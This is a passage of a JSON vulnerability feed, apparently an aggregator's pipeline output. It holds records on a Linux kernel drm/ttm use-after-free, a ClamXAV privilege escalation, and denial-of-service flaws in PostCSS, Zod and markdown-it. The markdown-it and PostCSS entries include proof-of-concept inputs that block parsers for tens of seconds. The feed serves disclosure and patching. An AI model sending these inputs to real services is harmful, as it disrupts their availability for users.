fixes.","publishedAt":"2026-10-06T16:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Microsoft Security blog: CISO perspectives on managing vulnerability risks in the age of AI","url":"https://www.microsoft.com/en-us/security/blog/2026/10/06/ciso-perspectives-on-managing-vulnerability-risks-in-the-age-of-ai/","type":"primary","publishedAt":"2026-10-06T16:00:00.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The organization's own post describing this vulnerability or threat; authoritative for what it states, not independently verified here."},{"name":"Microsoft Security blog syndication feed","url":"https://www.microsoft.com/en-us/security/blog/feed/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:50:55.505Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98166","cveId":"CVE-2026-98166","aliases":[],"kind":"vulnerability","title":"Linux kernel: drm/ttm: fix swapped-out resources never leaving their bulk_move range","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/ttm: fix swapped-out resources never leaving their bulk_move range\n\nttm_tt_swapout() returns the number of pages swapped out on success and\na negative error code on failure; for a populated ttm it never returns\nzero. Commit b2ed01e7ad3d (\"drm/ttm: Fix ttm_bo_swapout() infinite LRU\nwalk on swapout failure\") moved the bulk_move bookkeeping in\nttm_bo_swapout_cb() under \"if (!ret)\", so the\nttm_resource_del_bulk_move_unevictable() / ttm_resource_move_to_lru_tail()\npair is now skipped on every successful swapout. The equivalent change\nfor the shrinker in commit 1d59f36e95f7 (\"drm/ttm: Fix ttm_bo_shrink()\ninfinite LRU walk on backup failure\") tests \"lret > 0\", which is what\nwas intended here as well.\n\nBefore b2ed01e7ad3d the resource was taken off the bulk_move before the\nswapout; since then a swapped-out resource stays inside its BO's\nbulk_move range (and on the manager LRU) although it is unevictable.\nWhen it is later freed or the BO leaves the bulk_move\n(ttm_resource_free(), ttm_bo_set_bulk_move() via amdgpu_vm_bo_del()),\nttm_resource_del_bulk_move() skips it because of its\n!ttm_resource_unevictable() guard, so a range endpoint in pos->first /\npos->last is left pointing at freed memory. The next\nttm_lru_bulk_move_tail() or ttm_resource_add_bulk_move() on that cursor\nis a use-after-free, seen as the resv WARN in ttm_lru_bulk_move_add(),\n\"list_del corruption\" in ttm_resource_move_to_lru_tail() or a NULL\ndereference in ttm_resource_manager_next() -- minutes to hours after a\nhibernation, or at process exit / reboot following one. Samuel\nAinsworth's analysis of drm/amd issue 5387 (see Link) identified the\ndangling cursor; the missing removal at swapout time is the reason it\ndangles.\n\nTesting the condition for success restores the removal. On an AMD\nPhoenix APU (ASUS UM3406GA, gfx1103) running suspend-then-hibernate on\na 7.0.y stable kernel carrying the backport (Ubuntu 7.0.0-31) the bug\ncrashed 5 of 18 hibernation cycles; a function profile of one\nhibernation showed 336 ttm_tt_swapout() calls and zero\nttm_resource_del_bulk_move_unevictable() calls. With this change the\nremoval happens for every swap","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/ttm: fix swapped-out resources never leaving their bulk_move range\n\nttm_tt_swapout() returns the number of pages swapped out on success and\na negative error code on failure; for a populated ttm it never returns\nzero. Commit b2ed01e7ad3d (\"drm/ttm: Fix ttm_bo_swapout() infinite LRU\nwalk on swapout failure\") moved the bulk_move bookkeeping in\nttm_bo_swapout_cb() under \"if (!ret)\", so the\nttm_resource_del_bulk_move_unevictable() / ttm_resource_move_to_lru_tail()\npair is now skipped on every successful swapout. The equivalent change\nfor the shrinker in commit 1d59f36e95f7 (\"drm/ttm: Fix ttm_bo_shrink()\ninfinite LRU walk on backup failure\") tests \"lret > 0\", which is what\nwas intended here as well.\n\nBefore b2ed01e7ad3d the resource was taken off the bulk_move before the\nswapout; since then a swapped-out resource stays inside its BO's\nbulk_move range (and on the manager LRU) although it is unevictable.\nWhen it is later freed or the BO leaves the bulk_move\n(ttm_resource_free(), ttm_bo_set_bulk_move() via amdgpu_vm_bo_del()),\nttm_resource_del_bulk_move() skips it because of its\n!ttm_resource_unevictable() guard, so a range endpoint in pos->first /\npos->last is left pointing at freed memory. The next\nttm_lru_bulk_move_tail() or ttm_resource_add_bulk_move() on that cursor\nis a use-after-free, seen as the resv WARN in ttm_lru_bulk_move_add(),\n\"list_del corruption\" in ttm_resource_move_to_lru_tail() or a NULL\ndereference in ttm_resource_manager_next() -- minutes to hours after a\nhibernation, or at process exit / reboot following one. Samuel\nAinsworth's analysis of drm/amd issue 5387 (see Link) identified the\ndangling cursor; the missing removal at swapout time is the reason it\ndangles.\n\nTesting the condition for success restores the removal. On an AMD\nPhoenix APU (ASUS UM3406GA, gfx1103) running suspend-then-hibernate on\na 7.0.y stable kernel carrying the backport (Ubuntu 7.0.0-31) the bug\ncrashed 5 of 18 hibernation cycles; a function profile of one\nhibernation showed 336 ttm_tt_swapout() calls and zero\nttm_resource_del_bulk_move_unevictable() calls. With this change the\nremoval happens for every swapped-out resource and 12 further cycles\nwere clean.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-06T09:17:58.033Z","updatedAt":"2026-10-26T16:17:23.973Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98166","asOf":"2026-10-26T16:17:23.973Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98166","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98166","type":"primary","publishedAt":"2026-10-06T09:17:58.033Z","checkedAt":"2026-10-26T17:20:56.094Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:20:56.094Z","reviewedAt":null},"reviewed":false},{"id":"project-zero-emergency-patching-df64f3cce767","cveId":null,"aliases":[],"kind":"advisory","title":"How to fix a bug in a fix","summary":"Project Zero often works with software vendors to remediate the vulnerabilities we report and provide broader guidance on making software more secure. Some vendors express concern about potential scenarios in which they are unable to fix vulnerabilities that are causing immediate user harm, due to limitations in their patch delivery systems. Since Project Zero encounters a wide array of systems designed to protect users in the case of exceptional exploitation scenarios, both through vendor discussions and security reviews, we want to share what we’ve learned. This post provides an overview of systems in use by large vendors that allow them to remediate small volumes of vulnerabilities much faster than their typical update process. Our goal is to provide a reference for vendors seeking to implement or enhance the capabilities of such systems, and to encourage vendors to consider how they would fix an urgent vulnerability before they receive one.","detail":"Project Zero often works with software vendors to remediate the vulnerabilities we report and provide broader guidance on making software more secure. Some vendors express concern about potential scenarios in which they are unable to fix vulnerabilities that are causing immediate user harm, due to limitations in their patch delivery systems. Since Project Zero encounters a wide array of systems designed to protect users in the case of exceptional exploitation scenarios, both through vendor discussions and security reviews, we want to share what we’ve learned. This post provides an overview of systems in use by large vendors that allow them to remediate small volumes of vulnerabilities much faster than their typical update process. Our goal is to provide a reference for vendors seeking to implement or enhance the capabilities of such systems, and to encourage vendors to consider how they would fix an urgent vulnerability before they receive one.\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2026-10-06T07:00:00.000Z","updatedAt":"2026-10-06T07:00:00.000Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Project Zero Research: How to fix a bug in a fix","url":"https://projectzero.google/2026/10/emergency-patching.html","type":"primary","publishedAt":"2026-10-06T07:00:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Project Zero Research syndication feed","url":"https://projectzero.google/feed.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104844","cveId":"CVE-2026-104844","aliases":["GHSA-rj75-hqrm-r3gf"],"kind":"vulnerability","title":"PostCSS: Quadratic complexity in flat selector parsing allows CPU exhaustion","summary":"`.` and `#` are not word delimiters in the tokenizer, so a flat selector such as\n`.a.a.a...` reaches `splitWord()` as a single word token carrying n class or id\nindexes. Three passes scanned those index arrays linearly for every index,\nmaking the parse O(n^2) in the number of indexes rather than in input length:\n`uniqs()`, the `indices.forEach` loop, and the Sass-interpolation filter.\nParsing a 400 KB flat selector took ~34 s on a modern laptop, fully occupying a\nsingle thread. A benign selector of identical byte size parses in tens of\nmilliseconds, so the cost is driven by the index count, not the input size.\nThe nesting depth of such a selector is 0, so the `maxNestingDepth` guard added\nin 7.1.3 offers no protection.\n\nReachability is deployment dependent. Only consumers that parse untrusted,\nattacker-supplied selectors synchronously in a request path are exposed, for\nexample CSS sanitizers, CSS-in-JS services and online playgrounds. Ordinary\nbuild-time use on trusted sources is not affected.","detail":"### Impact\n\n`.` and `#` are not word delimiters in the tokenizer, so a flat selector such as\n`.a.a.a...` reaches `splitWord()` as a single word token carrying n class or id\nindexes. Three passes scanned those index arrays linearly for every index,\nmaking the parse O(n^2) in the number of indexes rather than in input length:\n`uniqs()`, the `indices.forEach` loop, and the Sass-interpolation filter.\nParsing a 400 KB flat selector took ~34 s on a modern laptop, fully occupying a\nsingle thread. A benign selector of identical byte size parses in tens of\nmilliseconds, so the cost is driven by the index count, not the input size.\nThe nesting depth of such a selector is 0, so the `maxNestingDepth` guard added\nin 7.1.3 offers no protection.\n\nReachability is deployment dependent. Only consumers that parse untrusted,\nattacker-supplied selectors synchronously in a request path are exposed, for\nexample CSS sanitizers, CSS-in-JS services and online playgrounds. Ordinary\nbuild-time use on trusted sources is not affected.\n\n### Patches\n\nFixed in 7.1.6. The three passes now use Set membership tests, making parsing\nlinear in the number of indexes. There is no behaviour change: parsing is\nbyte-identical on a differential corpus of 8413 selectors.\n\n### Workarounds\n\nCap the size of selectors accepted from untrusted sources before parsing.\n\nAffected package ranges reported by GitHub:\npostcss-selector-parser: >= 7.0.0, < 7.1.6\npostcss-selector-parser: < 6.1.5","action":"GitHub lists first patched versions: postcss-selector-parser: 7.1.6; postcss-selector-parser: 6.1.5. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-05T22:53:54.000Z","updatedAt":"2026-10-26T14:07:57.000Z","regions":["Global"],"vendor":null,"product":"postcss-selector-parser, postcss-selector-parser","stacks":["JavaScript packages (npm)","postcss-selector-parser","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://github.com/advisories/GHSA-rj75-hqrm-r3gf","asOf":"2026-10-26T14:07:57.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-rj75-hqrm-r3gf","url":"https://github.com/advisories/GHSA-rj75-hqrm-r3gf","type":"primary","publishedAt":"2026-10-05T22:53:54.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-rj75-hqrm-r3gf, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105773","cveId":"CVE-2026-105773","aliases":[],"kind":"vulnerability","title":"Canimaan Software ClamXAV versions 3.3 - 3.11 contains a local privilege escalation vulnerability in the Privileged Helper Tool caused by a race condition and insufficient file...","summary":"Canimaan Software ClamXAV versions 3.3 - 3.11 contains a local privilege escalation vulnerability in the Privileged Helper Tool caused by a race condition and insufficient file validation, allowing a local attacker to execute arbitrary code with system privileges. Fixed in 3.11.1.","detail":"Canimaan Software ClamXAV versions 3.3 - 3.11 contains a local privilege escalation vulnerability in the Privileged Helper Tool caused by a race condition and insufficient file validation, allowing a local attacker to execute arbitrary code with system privileges. Fixed in 3.11.1.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-05T21:16:36.093Z","updatedAt":"2026-10-26T17:17:11.660Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105773","asOf":"2026-10-26T17:17:11.660Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105773","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105773","type":"primary","publishedAt":"2026-10-05T21:16:36.093Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-54404","cveId":"CVE-2023-54404","aliases":["GHSA-mrhx-c7xc-m3w5"],"kind":"vulnerability","title":"Zod can exhaust memory while validating oversized constrained collections","summary":"Zod schema-validation library through 4.6.5 contains an uncontrolled resource consumption vulnerability that allows attackers to exhaust memory by submitting a large array to an application using an array schema without a length constraint. Attackers can exploit the handleArrayResult parse logic in $ZodArray, which accumulates every validation issue for each failing element with no cap or early termination, causing the process to allocate excessive issue objects and crash due to out-of-memory conditions.","detail":"Zod schema-validation library through 4.6.5 contains an uncontrolled resource consumption vulnerability that allows attackers to exhaust memory by submitting a large array to an application using an array schema without a length constraint. Attackers can exploit the handleArrayResult parse logic in $ZodArray, which accumulates every validation issue for each failing element with no cap or early termination, causing the process to allocate excessive issue objects and crash due to out-of-memory conditions.\n\nAffected package ranges reported by GitHub:\nzod: < 4.6.6","action":"GitHub lists first patched versions: zod: 4.6.6. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-01T18:32:46.000Z","updatedAt":"2026-10-23T18:26:52.000Z","regions":["Global"],"vendor":null,"product":"zod","stacks":["JavaScript packages (npm)","zod","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-mrhx-c7xc-m3w5","asOf":"2026-10-23T18:26:52.000Z"},"epss":{"probability":0.00346,"percentile":0.27885,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-54404&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-mrhx-c7xc-m3w5","url":"https://github.com/advisories/GHSA-mrhx-c7xc-m3w5","type":"primary","publishedAt":"2026-10-01T18:32:46.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-mrhx-c7xc-m3w5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-mrhx-c7xc-m3w5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-mrhx-c7xc-m3w5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-mrhx-c7xc-m3w5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-mrhx-c7xc-m3w5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-mrhx-c7xc-m3w5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-mrhx-c7xc-m3w5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-mrhx-c7xc-m3w5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-mrhx-c7xc-m3w5, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-54404&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-54404, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-253c-mchw-3w2r","cveId":null,"aliases":[],"kind":"vulnerability","title":"markdown-it linkify: true has two quadratic paths, so a few hundred KB of markdown blocks the event loop for tens of seconds","summary":"Two independent quadratic paths in the `linkify: true` handling. Both are in markdown-it's own code rather than in linkify-it, which stays linear on both payloads.\n\n`src/rules_core/linkify.ts` calls `arrayReplaceAt` once per linkified text token, and that rebuilds the whole `children` array each time. A paragraph of N soft-broken lines is one inline token with about 2N children, so you get N rebuilds over a 2N array. Schema-less emails are what reach it. A `http://` link gets consumed by the inline rule first and never arrives as a text token, so those stay linear.","detail":"## Summary\n\nTwo independent quadratic paths in the `linkify: true` handling. Both are in markdown-it's own code rather than in linkify-it, which stays linear on both payloads.\n\n`src/rules_core/linkify.ts` calls `arrayReplaceAt` once per linkified text token, and that rebuilds the whole `children` array each time. A paragraph of N soft-broken lines is one inline token with about 2N children, so you get N rebuilds over a 2N array. Schema-less emails are what reach it. A `http://` link gets consumed by the inline rule first and never arrives as a text token, so those stay linear.\n\n`src/rules_inline/linkify.ts` runs `state.pending.match(SCHEME_RE)` at every `://` in the source. `state.pending` only gets truncated once a link is actually produced, so an unregistered scheme leaves it growing and every `://` rescans the lot.\n\n## Proof of concept\n\nClean install of 15.0.0 from npm, `new MarkdownIt({ linkify: true }).render(payload)`, Node 24.\n\n| N | 5,000 | 10,000 | 20,000 | 40,000 |\n|---|---|---|---|---|\n| `'a@b.co\\n'.repeat(N)`, 34KB to 273KB | 1.1s | 4.7s | 19.6s | 89s |\n| `'a://'.repeat(N)`, 20KB to 156KB | 0.25s | 0.76s | 3.1s | 15.0s |\n\nDoubling the input roughly quadruples the time in both. With `linkify: false` the same inputs run in 25 to 131ms and stay flat.\n\nControls for the first one, all at N=20000: putting every email in a single text token (`'a@b.co '`) takes 0.59s, one email per paragraph (`'a@b.co\\n\\n'`) takes 0.64s, and soft-broken lines with nothing linkifiable take 42ms. So it needs many children AND many of them linkifying. For the second, replaying just the `SCHEME_RE` calls against the same growing prefixes with no markdown-it involved accounts for 11.7s of the 15s.\n\nOrdinary prose does it too. `'ping a@b.co ok\\n'.repeat(20000)` is 293KB and takes 31s.\n\n## Caveat\n\n`linkify` is off by default, so this only reaches apps that turn it on.\n\n## Impact\n\nAvailability only. A few hundred KB of fairly ordinary markdown pins one core for tens of seconds, and because it's quadratic it degrades quickly with size. Nothing is read, written or executed.\n\nAffected package ranges reported by GitHub:\nmarkdown-it: = 15.0.0\nmarkdown-it: < 14.3.1","action":"GitHub lists first patched versions: markdown-it: 15.0.1; markdown-it: 14.3.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-09-29T17:57:56.000Z","updatedAt":"2026-10-22T20:35:11.000Z","regions":["Global"],"vendor":null,"product":"markdown-it, markdown-it","stacks":["JavaScript packages (npm)","markdown-it","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-253c-mchw-3w2r","asOf":"2026-10-22T20:35:11.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-253c-mchw-3w2r","url":"https://github.com/advisories/GHSA-253c-mchw-3w2r","type":"primary","publishedAt":"2026-09-29T17:57:56.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-253c-mchw-3w2r, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-253c-mchw-3w2r, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-253c-mchw-3w2r, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-253c-mchw-3w2r, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-253c-mchw-3w2r, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-253c-mchw-3w2r, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-253c-mchw-3w2r, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-253c-mchw-3w2r, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API 